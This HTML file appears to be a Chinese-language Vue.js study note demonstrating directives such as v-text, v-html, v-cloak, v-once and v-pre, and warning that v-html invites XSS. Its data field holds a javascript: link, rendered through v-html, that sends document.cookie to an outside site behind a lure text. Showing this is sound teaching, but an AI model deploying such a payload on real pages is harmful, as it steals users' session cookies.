<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>过滤器</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<style>
    [v-cloak]{
        display: none;
    }
</style>

<body>
    <!-- 
       v-text:
       1.v-text：会自动替换当前绑定元素的文本内容，无论你在里面添加别的文本啥的，统统替换
       2.插值语法相较于v-text更自由，可扩展性也更强

       v-htm1指令:
        1.作用:向指定节点中渲染包含html结构的内容。2.与插值语法的区别:
            (1).v-html会替换掉节点中所有的内容，{{xx}}则不会。
            (2).v-html可以识别html结构。
        3.严重注意:v-html有安全性问题!!!!
            (1).在网站上动态渲染任意HTML是非常危险的，容易导致xss攻击。
            (2).一定要在可信的内容上使用v-htm1，永不要用在用户提交的内容上!
        所谓的XSS攻击就是，以非HTTP的方式获取到指定网站的cookie信息，从而盗取自用
        
        v-cloak指令(没有值):
            1.本质是一个特殊属性，Vue实例创建完毕并接管容器后，会掉去掉v-cloak属性。
            2.使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。

        v-once指令:
            1.v-once所在节点在初次动态渲染后，就视为静态内容了。
            2.以后数据的改变不会引起v-once所在结构的更新，可以用于优化性能。

        V-once指令:
            1.v-once所在节点在初次动态渲染后，就视为静态内容了。
            2.以后数据的改变不会引起v-once所在结构的更新，可以用于优化性能。

        v-pre指令:
            1.跳过其所在节点的编译过程。
            2.可利用它跳过:没有使用指令语法、没有使用插值语法的节点，会加快编译。
    -->

    <div id="app">
        <!-- v-text -->
        <div>你好,{{name}}</div>
        <div v-text="name">你好</div>


        <!-- v-html -->
        <div v-html="url"></div>

        <!-- v-cloak -->
        <div v-cloak></div>

        <!-- v-once -->
        <div v-once>你好,{{num}}</div>
        <div>{{num}}</div>
        <button @click="num++">n+1</button>

        <!-- v-pre  没有vue标签的 用这个指定 加快加载速度-->
        <div v-pre>asd asd a </div>
        <div>{{num}}</div>
        <div>{{name}}</div>

    </div>

 <!-- 延迟加载脚本 出现在容器下方时会出现 页面元素加载一半的问题 需要通过v-cloak指令解决 -->
</body>
<script>
    //全局过滤器
    Vue.filter('spliceText2',function(value){
        return value.slice(0,2)
    })


    var vm = new Vue({
        el: '#app',
        data: {
            name:"12323123",
            url:"<a href=javascript:window.location.href='http://www.baidu.com?' + document.cookie>xd,我这里有资源快来点击!</a>",
            num:1
        },
    })

</script>

</html>